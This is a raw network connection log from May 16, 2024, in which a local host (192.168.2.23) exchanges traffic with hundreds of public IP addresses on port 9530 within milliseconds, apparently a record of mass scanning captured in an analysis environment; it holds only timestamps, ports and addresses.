May 16, 2024 16:38:50.008073092 CEST	55095	9530	192.168.2.23	81.31.65.164
May 16, 2024 16:38:50.008074045 CEST	55095	9530	192.168.2.23	170.85.41.91
May 16, 2024 16:38:50.008074045 CEST	55095	9530	192.168.2.23	104.176.87.89
May 16, 2024 16:38:50.008074045 CEST	55095	9530	192.168.2.23	51.244.7.174
May 16, 2024 16:38:50.008074045 CEST	55095	9530	192.168.2.23	8.227.106.158
May 16, 2024 16:38:50.008074045 CEST	55095	9530	192.168.2.23	152.10.133.200
May 16, 2024 16:38:50.008080006 CEST	9530	55095	104.175.22.251	192.168.2.23
May 16, 2024 16:38:50.008081913 CEST	55095	9530	192.168.2.23	134.134.137.225
May 16, 2024 16:38:50.008090973 CEST	9530	55095	167.42.217.222	192.168.2.23
May 16, 2024 16:38:50.008093119 CEST	55095	9530	192.168.2.23	130.131.55.60
May 16, 2024 16:38:50.008111000 CEST	55095	9530	192.168.2.23	174.213.253.232
May 16, 2024 16:38:50.008111000 CEST	55095	9530	192.168.2.23	52.98.74.230
May 16, 2024 16:38:50.008111954 CEST	55095	9530	192.168.2.23	202.244.68.82
May 16, 2024 16:38:50.008111954 CEST	55095	9530	192.168.2.23	120.74.255.178
May 16, 2024 16:38:50.008111954 CEST	55095	9530	192.168.2.23	117.62.70.65
May 16, 2024 16:38:50.008116961 CEST	55095	9530	192.168.2.23	104.175.22.251
May 16, 2024 16:38:50.008130074 CEST	55095	9530	192.168.2.23	167.42.217.222
May 16, 2024 16:38:50.009115934 CEST	9530	55095	169.100.20.107	192.168.2.23
May 16, 2024 16:38:50.009129047 CEST	9530	55095	209.19.131.232	192.168.2.23
May 16, 2024 16:38:50.009138107 CEST	9530	55095	94.198.81.232	192.168.2.23
May 16, 2024 16:38:50.009146929 CEST	9530	55095	2.215.171.109	192.168.2.23
May 16, 2024 16:38:50.009155989 CEST	9530	55095	25.185.111.177	192.168.2.23
May 16, 2024 16:38:50.009183884 CEST	55095	9530	192.168.2.23	94.198.81.232
May 16, 2024 16:38:50.009185076 CEST	55095	9530	192.168.2.23	209.19.131.232
May 16, 2024 16:38:50.009186029 CEST	55095	9530	192.168.2.23	2.215.171.109
May 16, 2024 16:38:50.009197950 CEST	55095	9530	192.168.2.23	169.100.20.107
May 16, 2024 16:38:50.009201050 CEST	55095	9530	192.168.2.23	25.185.111.177
May 16, 2024 16:38:50.009387970 CEST	9530	55095	169.72.220.216	192.168.2.23
May 16, 2024 16:38:50.009398937 CEST	9530	55095	145.205.178.107	192.168.2.23
May 16, 2024 16:38:50.009413958 CEST	9530	55095	114.199.191.65	192.168.2.23
May 16, 2024 16:38:50.009423971 CEST	9530	55095	194.29.191.1	192.168.2.23
May 16, 2024 16:38:50.009433031 CEST	9530	55095	223.133.106.125	192.168.2.23
May 16, 2024 16:38:50.009433031 CEST	55095	9530	192.168.2.23	169.72.220.216
May 16, 2024 16:38:50.009444952 CEST	9530	55095	218.57.12.46	192.168.2.23
May 16, 2024 16:38:50.009454966 CEST	9530	55095	107.112.221.36	192.168.2.23
May 16, 2024 16:38:50.009464025 CEST	9530	55095	83.12.179.152	192.168.2.23
May 16, 2024 16:38:50.009479046 CEST	9530	55095	142.228.218.100	192.168.2.23
May 16, 2024 16:38:50.009490967 CEST	9530	55095	120.231.127.150	192.168.2.23
May 16, 2024 16:38:50.009500027 CEST	9530	55095	80.253.2.140	192.168.2.23
May 16, 2024 16:38:50.009504080 CEST	9530	55095	107.201.255.139	192.168.2.23
May 16, 2024 16:38:50.009507895 CEST	9530	55095	37.198.178.91	192.168.2.23
May 16, 2024 16:38:50.009509087 CEST	55095	9530	192.168.2.23	218.57.12.46
May 16, 2024 16:38:50.009512901 CEST	9530	55095	14.56.197.165	192.168.2.23
May 16, 2024 16:38:50.009516954 CEST	55095	9530	192.168.2.23	223.133.106.125
May 16, 2024 16:38:50.009516954 CEST	9530	55095	104.13.239.248	192.168.2.23
May 16, 2024 16:38:50.009516954 CEST	55095	9530	192.168.2.23	142.228.218.100
May 16, 2024 16:38:50.009522915 CEST	9530	55095	116.32.194.42	192.168.2.23
May 16, 2024 16:38:50.009526014 CEST	55095	9530	192.168.2.23	120.231.127.150
May 16, 2024 16:38:50.009533882 CEST	9530	55095	176.150.251.45	192.168.2.23
May 16, 2024 16:38:50.009541988 CEST	55095	9530	192.168.2.23	114.199.191.65
May 16, 2024 16:38:50.009541988 CEST	55095	9530	192.168.2.23	194.29.191.1
May 16, 2024 16:38:50.009541988 CEST	55095	9530	192.168.2.23	145.205.178.107
May 16, 2024 16:38:50.009541988 CEST	55095	9530	192.168.2.23	107.112.221.36
May 16, 2024 16:38:50.009543896 CEST	9530	55095	134.217.63.167	192.168.2.23
May 16, 2024 16:38:50.009541988 CEST	55095	9530	192.168.2.23	83.12.179.152
May 16, 2024 16:38:50.009548903 CEST	55095	9530	192.168.2.23	80.253.2.140
May 16, 2024 16:38:50.009556055 CEST	55095	9530	192.168.2.23	37.198.178.91
May 16, 2024 16:38:50.009557962 CEST	9530	55095	184.52.83.17	192.168.2.23
May 16, 2024 16:38:50.009566069 CEST	55095	9530	192.168.2.23	104.13.239.248
May 16, 2024 16:38:50.009566069 CEST	55095	9530	192.168.2.23	116.32.194.42
May 16, 2024 16:38:50.009567022 CEST	55095	9530	192.168.2.23	107.201.255.139
May 16, 2024 16:38:50.009567022 CEST	9530	55095	75.19.230.166	192.168.2.23
May 16, 2024 16:38:50.009567022 CEST	55095	9530	192.168.2.23	14.56.197.165
May 16, 2024 16:38:50.009567022 CEST	55095	9530	192.168.2.23	176.150.251.45
May 16, 2024 16:38:50.009567022 CEST	55095	9530	192.168.2.23	134.217.63.167
May 16, 2024 16:38:50.009648085 CEST	55095	9530	192.168.2.23	75.19.230.166
May 16, 2024 16:38:50.010643959 CEST	9530	55095	116.204.224.194	192.168.2.23
May 16, 2024 16:38:50.010654926 CEST	9530	55095	49.154.66.28	192.168.2.23
May 16, 2024 16:38:50.010663986 CEST	9530	55095	195.161.125.125	192.168.2.23
May 16, 2024 16:38:50.010674000 CEST	55095	9530	192.168.2.23	116.204.224.194
May 16, 2024 16:38:50.010678053 CEST	9530	55095	213.64.188.180	192.168.2.23
May 16, 2024 16:38:50.010688066 CEST	9530	55095	151.247.43.111	192.168.2.23
May 16, 2024 16:38:50.010696888 CEST	9530	55095	166.171.245.146	192.168.2.23
May 16, 2024 16:38:50.010703087 CEST	55095	9530	192.168.2.23	195.161.125.125
May 16, 2024 16:38:50.010705948 CEST	9530	55095	163.81.225.168	192.168.2.23
May 16, 2024 16:38:50.010713100 CEST	55095	9530	192.168.2.23	184.52.83.17
May 16, 2024 16:38:50.010715961 CEST	9530	55095	209.164.10.245	192.168.2.23
May 16, 2024 16:38:50.010718107 CEST	55095	9530	192.168.2.23	49.154.66.28
May 16, 2024 16:38:50.010724068 CEST	55095	9530	192.168.2.23	151.247.43.111
May 16, 2024 16:38:50.010724068 CEST	55095	9530	192.168.2.23	166.171.245.146
May 16, 2024 16:38:50.010725975 CEST	9530	55095	210.253.73.232	192.168.2.23
May 16, 2024 16:38:50.010735035 CEST	9530	55095	184.75.98.82	192.168.2.23
May 16, 2024 16:38:50.010744095 CEST	9530	55095	38.174.16.123	192.168.2.23
May 16, 2024 16:38:50.010752916 CEST	9530	55095	59.92.220.220	192.168.2.23
May 16, 2024 16:38:50.010759115 CEST	55095	9530	192.168.2.23	213.64.188.180
May 16, 2024 16:38:50.010759115 CEST	55095	9530	192.168.2.23	163.81.225.168
May 16, 2024 16:38:50.010762930 CEST	9530	55095	217.151.108.3	192.168.2.23
May 16, 2024 16:38:50.010772943 CEST	9530	55095	96.239.71.49	192.168.2.23
May 16, 2024 16:38:50.010782003 CEST	9530	55095	39.208.170.132	192.168.2.23
May 16, 2024 16:38:50.010786057 CEST	9530	55095	1.109.32.78	192.168.2.23
May 16, 2024 16:38:50.010792971 CEST	55095	9530	192.168.2.23	210.253.73.232
May 16, 2024 16:38:50.010795116 CEST	9530	55095	179.1.52.150	192.168.2.23
May 16, 2024 16:38:50.010795116 CEST	55095	9530	192.168.2.23	209.164.10.245
May 16, 2024 16:38:50.010797024 CEST	55095	9530	192.168.2.23	217.151.108.3
May 16, 2024 16:38:50.010802031 CEST	55095	9530	192.168.2.23	184.75.98.82
May 16, 2024 16:38:50.010802031 CEST	55095	9530	192.168.2.23	38.174.16.123
May 16, 2024 16:38:50.010806084 CEST	9530	55095	49.71.239.242	192.168.2.23
May 16, 2024 16:38:50.010812998 CEST	55095	9530	192.168.2.23	59.92.220.220
May 16, 2024 16:38:50.010816097 CEST	55095	9530	192.168.2.23	39.208.170.132
May 16, 2024 16:38:50.010818005 CEST	9530	55095	166.72.4.244	192.168.2.23
May 16, 2024 16:38:50.010832071 CEST	9530	55095	57.167.15.28	192.168.2.23
May 16, 2024 16:38:50.010859013 CEST	55095	9530	192.168.2.23	166.72.4.244
May 16, 2024 16:38:50.010864019 CEST	55095	9530	192.168.2.23	179.1.52.150
May 16, 2024 16:38:50.010871887 CEST	55095	9530	192.168.2.23	49.71.239.242
May 16, 2024 16:38:50.010919094 CEST	55095	9530	192.168.2.23	96.239.71.49
May 16, 2024 16:38:50.010919094 CEST	55095	9530	192.168.2.23	1.109.32.78
May 16, 2024 16:38:50.010919094 CEST	55095	9530	192.168.2.23	57.167.15.28
May 16, 2024 16:38:50.011770964 CEST	9530	55095	191.80.81.30	192.168.2.23
May 16, 2024 16:38:50.011782885 CEST	9530	55095	51.243.99.154	192.168.2.23
May 16, 2024 16:38:50.011791945 CEST	9530	55095	151.17.75.175	192.168.2.23
May 16, 2024 16:38:50.011801004 CEST	9530	55095	93.38.166.122	192.168.2.23
May 16, 2024 16:38:50.011811018 CEST	9530	55095	125.233.128.118	192.168.2.23
May 16, 2024 16:38:50.011818886 CEST	9530	55095	219.96.134.162	192.168.2.23
May 16, 2024 16:38:50.011827946 CEST	9530	55095	69.233.146.200	192.168.2.23
May 16, 2024 16:38:50.011836052 CEST	9530	55095	88.105.74.50	192.168.2.23
May 16, 2024 16:38:50.011846066 CEST	9530	55095	139.190.33.62	192.168.2.23
May 16, 2024 16:38:50.011852980 CEST	55095	9530	192.168.2.23	51.243.99.154
May 16, 2024 16:38:50.011853933 CEST	55095	9530	192.168.2.23	219.96.134.162
May 16, 2024 16:38:50.011854887 CEST	9530	55095	143.141.79.10	192.168.2.23
May 16, 2024 16:38:50.011862040 CEST	55095	9530	192.168.2.23	93.38.166.122
May 16, 2024 16:38:50.011864901 CEST	9530	55095	132.54.11.55	192.168.2.23
May 16, 2024 16:38:50.011873960 CEST	9530	55095	212.1.173.10	192.168.2.23
May 16, 2024 16:38:50.011878014 CEST	9530	55095	75.209.124.243	192.168.2.23
May 16, 2024 16:38:50.011879921 CEST	55095	9530	192.168.2.23	191.80.81.30
May 16, 2024 16:38:50.011879921 CEST	55095	9530	192.168.2.23	151.17.75.175
May 16, 2024 16:38:50.011881113 CEST	9530	55095	186.18.201.192	192.168.2.23
May 16, 2024 16:38:50.011882067 CEST	55095	9530	192.168.2.23	88.105.74.50
May 16, 2024 16:38:50.011888027 CEST	55095	9530	192.168.2.23	69.233.146.200
May 16, 2024 16:38:50.011888981 CEST	55095	9530	192.168.2.23	139.190.33.62
May 16, 2024 16:38:50.011892080 CEST	9530	55095	89.146.225.160	192.168.2.23
May 16, 2024 16:38:50.011900902 CEST	9530	55095	81.179.148.181	192.168.2.23
May 16, 2024 16:38:50.011903048 CEST	55095	9530	192.168.2.23	125.233.128.118
May 16, 2024 16:38:50.011910915 CEST	9530	55095	212.16.206.144	192.168.2.23
May 16, 2024 16:38:50.011923075 CEST	9530	55095	188.1.70.241	192.168.2.23
May 16, 2024 16:38:50.011930943 CEST	9530	55095	64.120.28.17	192.168.2.23
May 16, 2024 16:38:50.011939049 CEST	9530	55095	85.168.162.112	192.168.2.23
May 16, 2024 16:38:50.011954069 CEST	9530	55095	79.75.204.9	192.168.2.23
May 16, 2024 16:38:50.011965990 CEST	55095	9530	192.168.2.23	75.209.124.243
May 16, 2024 16:38:50.011965990 CEST	55095	9530	192.168.2.23	212.1.173.10
May 16, 2024 16:38:50.011965990 CEST	55095	9530	192.168.2.23	186.18.201.192
May 16, 2024 16:38:50.011967897 CEST	55095	9530	192.168.2.23	143.141.79.10
May 16, 2024 16:38:50.011967897 CEST	55095	9530	192.168.2.23	132.54.11.55
May 16, 2024 16:38:50.011967897 CEST	55095	9530	192.168.2.23	188.1.70.241
May 16, 2024 16:38:50.011969090 CEST	55095	9530	192.168.2.23	64.120.28.17
May 16, 2024 16:38:50.011969090 CEST	55095	9530	192.168.2.23	85.168.162.112
May 16, 2024 16:38:50.011981010 CEST	55095	9530	192.168.2.23	212.16.206.144
May 16, 2024 16:38:50.011981964 CEST	55095	9530	192.168.2.23	89.146.225.160
May 16, 2024 16:38:50.011985064 CEST	55095	9530	192.168.2.23	79.75.204.9
May 16, 2024 16:38:50.011987925 CEST	55095	9530	192.168.2.23	81.179.148.181
May 16, 2024 16:38:50.013132095 CEST	9530	55095	122.234.104.28	192.168.2.23
May 16, 2024 16:38:50.013144016 CEST	9530	55095	175.226.66.182	192.168.2.23
May 16, 2024 16:38:50.013153076 CEST	9530	55095	94.76.235.182	192.168.2.23
May 16, 2024 16:38:50.013164043 CEST	9530	55095	111.219.94.219	192.168.2.23
May 16, 2024 16:38:50.013175964 CEST	9530	55095	88.130.233.101	192.168.2.23
May 16, 2024 16:38:50.013185978 CEST	9530	55095	48.223.45.0	192.168.2.23
May 16, 2024 16:38:50.013195992 CEST	9530	55095	94.40.244.201	192.168.2.23
May 16, 2024 16:38:50.013206005 CEST	9530	55095	187.191.221.162	192.168.2.23
May 16, 2024 16:38:50.013211966 CEST	55095	9530	192.168.2.23	175.226.66.182
May 16, 2024 16:38:50.013214111 CEST	55095	9530	192.168.2.23	122.234.104.28
May 16, 2024 16:38:50.013215065 CEST	9530	55095	119.182.188.6	192.168.2.23
May 16, 2024 16:38:50.013216019 CEST	55095	9530	192.168.2.23	94.76.235.182
May 16, 2024 16:38:50.013223886 CEST	9530	55095	162.205.70.179	192.168.2.23
May 16, 2024 16:38:50.013230085 CEST	55095	9530	192.168.2.23	48.223.45.0
May 16, 2024 16:38:50.013235092 CEST	9530	55095	103.219.96.193	192.168.2.23
May 16, 2024 16:38:50.013240099 CEST	55095	9530	192.168.2.23	94.40.244.201
May 16, 2024 16:38:50.013243914 CEST	55095	9530	192.168.2.23	187.191.221.162
May 16, 2024 16:38:50.013245106 CEST	55095	9530	192.168.2.23	88.130.233.101
May 16, 2024 16:38:50.013247013 CEST	55095	9530	192.168.2.23	119.182.188.6
May 16, 2024 16:38:50.013247013 CEST	9530	55095	187.147.153.196	192.168.2.23
May 16, 2024 16:38:50.013248920 CEST	55095	9530	192.168.2.23	111.219.94.219
May 16, 2024 16:38:50.013256073 CEST	9530	55095	175.11.133.46	192.168.2.23
May 16, 2024 16:38:50.013264894 CEST	9530	55095	139.22.29.209	192.168.2.23
May 16, 2024 16:38:50.013274908 CEST	9530	55095	74.104.126.111	192.168.2.23
May 16, 2024 16:38:50.013284922 CEST	9530	55095	20.249.196.57	192.168.2.23
May 16, 2024 16:38:50.013293982 CEST	9530	55095	27.252.27.83	192.168.2.23
May 16, 2024 16:38:50.013293982 CEST	55095	9530	192.168.2.23	187.147.153.196
May 16, 2024 16:38:50.013297081 CEST	55095	9530	192.168.2.23	162.205.70.179
May 16, 2024 16:38:50.013303041 CEST	9530	55095	207.75.246.101	192.168.2.23
May 16, 2024 16:38:50.013309002 CEST	55095	9530	192.168.2.23	139.22.29.209
May 16, 2024 16:38:50.013314009 CEST	9530	55095	112.193.229.56	192.168.2.23
May 16, 2024 16:38:50.013314009 CEST	55095	9530	192.168.2.23	103.219.96.193
May 16, 2024 16:38:50.013314962 CEST	55095	9530	192.168.2.23	175.11.133.46
May 16, 2024 16:38:50.013319016 CEST	9530	55095	148.94.223.125	192.168.2.23
May 16, 2024 16:38:50.013324976 CEST	55095	9530	192.168.2.23	74.104.126.111
May 16, 2024 16:38:50.013333082 CEST	55095	9530	192.168.2.23	20.249.196.57
May 16, 2024 16:38:50.013398886 CEST	55095	9530	192.168.2.23	112.193.229.56
May 16, 2024 16:38:50.013401031 CEST	55095	9530	192.168.2.23	27.252.27.83
May 16, 2024 16:38:50.013401031 CEST	55095	9530	192.168.2.23	207.75.246.101
May 16, 2024 16:38:50.014296055 CEST	9530	55095	208.31.83.80	192.168.2.23
May 16, 2024 16:38:50.014309883 CEST	9530	55095	180.55.44.32	192.168.2.23
May 16, 2024 16:38:50.014318943 CEST	9530	55095	23.121.196.147	192.168.2.23
May 16, 2024 16:38:50.014322996 CEST	9530	55095	40.229.34.117	192.168.2.23
May 16, 2024 16:38:50.014328957 CEST	55095	9530	192.168.2.23	148.94.223.125
May 16, 2024 16:38:50.014333010 CEST	55095	9530	192.168.2.23	208.31.83.80
May 16, 2024 16:38:50.014333963 CEST	9530	55095	178.73.146.221	192.168.2.23
May 16, 2024 16:38:50.014343977 CEST	9530	55095	79.109.146.34	192.168.2.23
May 16, 2024 16:38:50.014353991 CEST	9530	55095	183.29.207.152	192.168.2.23
May 16, 2024 16:38:50.014360905 CEST	9530	55095	154.169.161.90	192.168.2.23
May 16, 2024 16:38:50.014369965 CEST	9530	55095	150.209.179.37	192.168.2.23
May 16, 2024 16:38:50.014378071 CEST	9530	55095	39.166.29.89	192.168.2.23
May 16, 2024 16:38:50.014388084 CEST	9530	55095	42.123.207.254	192.168.2.23
May 16, 2024 16:38:50.014398098 CEST	9530	55095	52.191.59.124	192.168.2.23
May 16, 2024 16:38:50.014400005 CEST	55095	9530	192.168.2.23	178.73.146.221
May 16, 2024 16:38:50.014401913 CEST	55095	9530	192.168.2.23	23.121.196.147
May 16, 2024 16:38:50.014404058 CEST	55095	9530	192.168.2.23	79.109.146.34
May 16, 2024 16:38:50.014404058 CEST	55095	9530	192.168.2.23	183.29.207.152
May 16, 2024 16:38:50.014404058 CEST	55095	9530	192.168.2.23	40.229.34.117
May 16, 2024 16:38:50.014408112 CEST	9530	55095	147.131.194.135	192.168.2.23
May 16, 2024 16:38:50.014410973 CEST	55095	9530	192.168.2.23	180.55.44.32
May 16, 2024 16:38:50.014417887 CEST	9530	55095	219.147.54.223	192.168.2.23
May 16, 2024 16:38:50.014422894 CEST	55095	9530	192.168.2.23	154.169.161.90
May 16, 2024 16:38:50.014422894 CEST	55095	9530	192.168.2.23	39.166.29.89
May 16, 2024 16:38:50.014422894 CEST	55095	9530	192.168.2.23	52.191.59.124
May 16, 2024 16:38:50.014424086 CEST	55095	9530	192.168.2.23	150.209.179.37
May 16, 2024 16:38:50.014426947 CEST	55095	9530	192.168.2.23	42.123.207.254
May 16, 2024 16:38:50.014427900 CEST	9530	55095	76.56.85.41	192.168.2.23
May 16, 2024 16:38:50.014442921 CEST	9530	55095	112.112.40.227	192.168.2.23
May 16, 2024 16:38:50.014451981 CEST	9530	55095	43.40.65.117	192.168.2.23
May 16, 2024 16:38:50.014460087 CEST	9530	55095	169.219.159.17	192.168.2.23
May 16, 2024 16:38:50.014468908 CEST	9530	55095	64.120.167.100	192.168.2.23
May 16, 2024 16:38:50.014476061 CEST	55095	9530	192.168.2.23	219.147.54.223
May 16, 2024 16:38:50.014478922 CEST	9530	55095	32.6.71.170	192.168.2.23
May 16, 2024 16:38:50.014484882 CEST	55095	9530	192.168.2.23	76.56.85.41
May 16, 2024 16:38:50.014484882 CEST	55095	9530	192.168.2.23	112.112.40.227
May 16, 2024 16:38:50.014487982 CEST	55095	9530	192.168.2.23	43.40.65.117
May 16, 2024 16:38:50.014493942 CEST	55095	9530	192.168.2.23	169.219.159.17
May 16, 2024 16:38:50.014502048 CEST	55095	9530	192.168.2.23	147.131.194.135
May 16, 2024 16:38:50.014571905 CEST	55095	9530	192.168.2.23	32.6.71.170
May 16, 2024 16:38:50.014586926 CEST	55095	9530	192.168.2.23	64.120.167.100
May 16, 2024 16:38:50.015407085 CEST	9530	55095	105.97.43.86	192.168.2.23
May 16, 2024 16:38:50.015419960 CEST	9530	55095	23.20.63.157	192.168.2.23
May 16, 2024 16:38:50.015429974 CEST	9530	55095	125.117.68.227	192.168.2.23
May 16, 2024 16:38:50.015441895 CEST	9530	55095	90.142.57.175	192.168.2.23
May 16, 2024 16:38:50.015450001 CEST	9530	55095	51.241.129.64	192.168.2.23
May 16, 2024 16:38:50.015459061 CEST	9530	55095	47.174.99.110	192.168.2.23
May 16, 2024 16:38:50.015467882 CEST	9530	55095	168.179.231.74	192.168.2.23
May 16, 2024 16:38:50.015477896 CEST	9530	55095	200.205.98.218	192.168.2.23
May 16, 2024 16:38:50.015486956 CEST	9530	55095	207.40.33.122	192.168.2.23
May 16, 2024 16:38:50.015490055 CEST	55095	9530	192.168.2.23	90.142.57.175
May 16, 2024 16:38:50.015490055 CEST	55095	9530	192.168.2.23	168.179.231.74
May 16, 2024 16:38:50.015491009 CEST	55095	9530	192.168.2.23	105.97.43.86
May 16, 2024 16:38:50.015494108 CEST	55095	9530	192.168.2.23	125.117.68.227
May 16, 2024 16:38:50.015495062 CEST	9530	55095	175.88.130.12	192.168.2.23
May 16, 2024 16:38:50.015496016 CEST	55095	9530	192.168.2.23	51.241.129.64
May 16, 2024 16:38:50.015502930 CEST	55095	9530	192.168.2.23	47.174.99.110
May 16, 2024 16:38:50.015502930 CEST	55095	9530	192.168.2.23	200.205.98.218
May 16, 2024 16:38:50.015505075 CEST	9530	55095	144.94.213.233	192.168.2.23
May 16, 2024 16:38:50.015505075 CEST	55095	9530	192.168.2.23	23.20.63.157
May 16, 2024 16:38:50.015515089 CEST	9530	55095	221.82.193.203	192.168.2.23
May 16, 2024 16:38:50.015515089 CEST	55095	9530	192.168.2.23	207.40.33.122
May 16, 2024 16:38:50.015526056 CEST	9530	55095	185.113.136.80	192.168.2.23
May 16, 2024 16:38:50.015535116 CEST	55095	9530	192.168.2.23	144.94.213.233
May 16, 2024 16:38:50.015535116 CEST	9530	55095	89.244.39.122	192.168.2.23
May 16, 2024 16:38:50.015536070 CEST	55095	9530	192.168.2.23	175.88.130.12
May 16, 2024 16:38:50.015544891 CEST	9530	55095	84.116.11.0	192.168.2.23
May 16, 2024 16:38:50.015553951 CEST	9530	55095	180.10.236.48	192.168.2.23
May 16, 2024 16:38:50.015563011 CEST	9530	55095	13.28.90.105	192.168.2.23
May 16, 2024 16:38:50.015573025 CEST	9530	55095	153.247.107.168	192.168.2.23
May 16, 2024 16:38:50.015582085 CEST	9530	55095	152.153.117.69	192.168.2.23
May 16, 2024 16:38:50.015594006 CEST	9530	55095	5.97.192.228	192.168.2.23
May 16, 2024 16:38:50.015603065 CEST	9530	55095	31.211.226.9	192.168.2.23
May 16, 2024 16:38:50.015610933 CEST	9530	55095	199.39.197.113	192.168.2.23
May 16, 2024 16:38:50.015620947 CEST	9530	55095	99.161.55.58	192.168.2.23
May 16, 2024 16:38:50.015630960 CEST	9530	55095	32.181.38.181	192.168.2.23
May 16, 2024 16:38:50.015640974 CEST	9530	55095	75.227.109.79	192.168.2.23
May 16, 2024 16:38:50.015646935 CEST	55095	9530	192.168.2.23	185.113.136.80
May 16, 2024 16:38:50.015651941 CEST	9530	55095	193.52.65.115	192.168.2.23
May 16, 2024 16:38:50.015652895 CEST	55095	9530	192.168.2.23	13.28.90.105
May 16, 2024 16:38:50.015652895 CEST	55095	9530	192.168.2.23	153.247.107.168
May 16, 2024 16:38:50.015657902 CEST	55095	9530	192.168.2.23	221.82.193.203
May 16, 2024 16:38:50.015657902 CEST	55095	9530	192.168.2.23	152.153.117.69
May 16, 2024 16:38:50.015657902 CEST	55095	9530	192.168.2.23	5.97.192.228
May 16, 2024 16:38:50.015660048 CEST	55095	9530	192.168.2.23	199.39.197.113
May 16, 2024 16:38:50.015660048 CEST	55095	9530	192.168.2.23	32.181.38.181
May 16, 2024 16:38:50.015661001 CEST	9530	55095	69.213.104.239	192.168.2.23
May 16, 2024 16:38:50.015661955 CEST	55095	9530	192.168.2.23	99.161.55.58
May 16, 2024 16:38:50.015661955 CEST	55095	9530	192.168.2.23	84.116.11.0
May 16, 2024 16:38:50.015661955 CEST	55095	9530	192.168.2.23	89.244.39.122
May 16, 2024 16:38:50.015667915 CEST	55095	9530	192.168.2.23	180.10.236.48
May 16, 2024 16:38:50.015667915 CEST	55095	9530	192.168.2.23	31.211.226.9
May 16, 2024 16:38:50.015671015 CEST	9530	55095	45.253.223.39	192.168.2.23
May 16, 2024 16:38:50.015681028 CEST	9530	55095	120.118.23.244	192.168.2.23
May 16, 2024 16:38:50.015690088 CEST	9530	55095	96.236.208.74	192.168.2.23
May 16, 2024 16:38:50.015697956 CEST	55095	9530	192.168.2.23	69.213.104.239
May 16, 2024 16:38:50.015700102 CEST	55095	9530	192.168.2.23	75.227.109.79
May 16, 2024 16:38:50.015698910 CEST	9530	55095	168.132.201.236	192.168.2.23
May 16, 2024 16:38:50.015697956 CEST	55095	9530	192.168.2.23	193.52.65.115
May 16, 2024 16:38:50.015697956 CEST	55095	9530	192.168.2.23	120.118.23.244
May 16, 2024 16:38:50.015710115 CEST	9530	55095	198.144.218.243	192.168.2.23
May 16, 2024 16:38:50.015712023 CEST	55095	9530	192.168.2.23	45.253.223.39
May 16, 2024 16:38:50.015718937 CEST	9530	55095	47.90.148.227	192.168.2.23
May 16, 2024 16:38:50.015721083 CEST	55095	9530	192.168.2.23	96.236.208.74
May 16, 2024 16:38:50.015727997 CEST	9530	55095	27.81.179.231	192.168.2.23
May 16, 2024 16:38:50.015741110 CEST	9530	55095	94.101.210.144	192.168.2.23
May 16, 2024 16:38:50.015743017 CEST	55095	9530	192.168.2.23	168.132.201.236
May 16, 2024 16:38:50.015750885 CEST	9530	55095	104.150.216.197	192.168.2.23
May 16, 2024 16:38:50.015758038 CEST	55095	9530	192.168.2.23	198.144.218.243
May 16, 2024 16:38:50.015759945 CEST	55095	9530	192.168.2.23	47.90.148.227
May 16, 2024 16:38:50.015762091 CEST	9530	55095	179.104.29.4	192.168.2.23
May 16, 2024 16:38:50.015765905 CEST	55095	9530	192.168.2.23	27.81.179.231
May 16, 2024 16:38:50.015773058 CEST	9530	55095	12.26.167.86	192.168.2.23
May 16, 2024 16:38:50.015777111 CEST	9530	55095	218.100.16.15	192.168.2.23
May 16, 2024 16:38:50.015780926 CEST	9530	55095	19.176.62.66	192.168.2.23
May 16, 2024 16:38:50.015789986 CEST	9530	55095	193.128.199.75	192.168.2.23
May 16, 2024 16:38:50.015872002 CEST	55095	9530	192.168.2.23	19.176.62.66
May 16, 2024 16:38:50.015872002 CEST	55095	9530	192.168.2.23	12.26.167.86
May 16, 2024 16:38:50.015872955 CEST	55095	9530	192.168.2.23	218.100.16.15
May 16, 2024 16:38:50.015872955 CEST	55095	9530	192.168.2.23	94.101.210.144
May 16, 2024 16:38:50.015872955 CEST	55095	9530	192.168.2.23	193.128.199.75
May 16, 2024 16:38:50.015876055 CEST	55095	9530	192.168.2.23	179.104.29.4
May 16, 2024 16:38:50.015876055 CEST	55095	9530	192.168.2.23	104.150.216.197
May 16, 2024 16:38:50.017895937 CEST	9530	55095	126.11.95.232	192.168.2.23
May 16, 2024 16:38:50.017908096 CEST	9530	55095	123.0.189.219	192.168.2.23
May 16, 2024 16:38:50.017916918 CEST	9530	55095	107.189.219.88	192.168.2.23
May 16, 2024 16:38:50.017927885 CEST	9530	55095	137.66.191.21	192.168.2.23
May 16, 2024 16:38:50.017935991 CEST	9530	55095	85.140.12.220	192.168.2.23
May 16, 2024 16:38:50.017945051 CEST	9530	55095	109.87.107.212	192.168.2.23
May 16, 2024 16:38:50.017952919 CEST	55095	9530	192.168.2.23	123.0.189.219
May 16, 2024 16:38:50.017952919 CEST	55095	9530	192.168.2.23	126.11.95.232
May 16, 2024 16:38:50.017954111 CEST	9530	55095	124.211.190.237	192.168.2.23
May 16, 2024 16:38:50.017954111 CEST	55095	9530	192.168.2.23	107.189.219.88
May 16, 2024 16:38:50.017956018 CEST	55095	9530	192.168.2.23	137.66.191.21
May 16, 2024 16:38:50.017965078 CEST	9530	55095	218.17.96.200	192.168.2.23
May 16, 2024 16:38:50.017966986 CEST	55095	9530	192.168.2.23	85.140.12.220
May 16, 2024 16:38:50.017976046 CEST	9530	55095	130.103.4.41	192.168.2.23
May 16, 2024 16:38:50.017985106 CEST	9530	55095	102.82.64.177	192.168.2.23
May 16, 2024 16:38:50.017993927 CEST	9530	55095	167.145.240.253	192.168.2.23
May 16, 2024 16:38:50.018002987 CEST	9530	55095	14.249.130.6	192.168.2.23
May 16, 2024 16:38:50.018003941 CEST	55095	9530	192.168.2.23	109.87.107.212
May 16, 2024 16:38:50.018012047 CEST	9530	55095	153.132.138.1	192.168.2.23
May 16, 2024 16:38:50.018018007 CEST	55095	9530	192.168.2.23	218.17.96.200
May 16, 2024 16:38:50.018019915 CEST	9530	55095	125.114.153.0	192.168.2.23
May 16, 2024 16:38:50.018023968 CEST	55095	9530	192.168.2.23	102.82.64.177
May 16, 2024 16:38:50.018023968 CEST	55095	9530	192.168.2.23	124.211.190.237
May 16, 2024 16:38:50.018023968 CEST	55095	9530	192.168.2.23	130.103.4.41
May 16, 2024 16:38:50.018028975 CEST	55095	9530	192.168.2.23	167.145.240.253
May 16, 2024 16:38:50.018028975 CEST	55095	9530	192.168.2.23	14.249.130.6
May 16, 2024 16:38:50.018038988 CEST	9530	55095	52.186.97.17	192.168.2.23
May 16, 2024 16:38:50.018038988 CEST	55095	9530	192.168.2.23	153.132.138.1
May 16, 2024 16:38:50.018049955 CEST	9530	55095	218.129.183.16	192.168.2.23
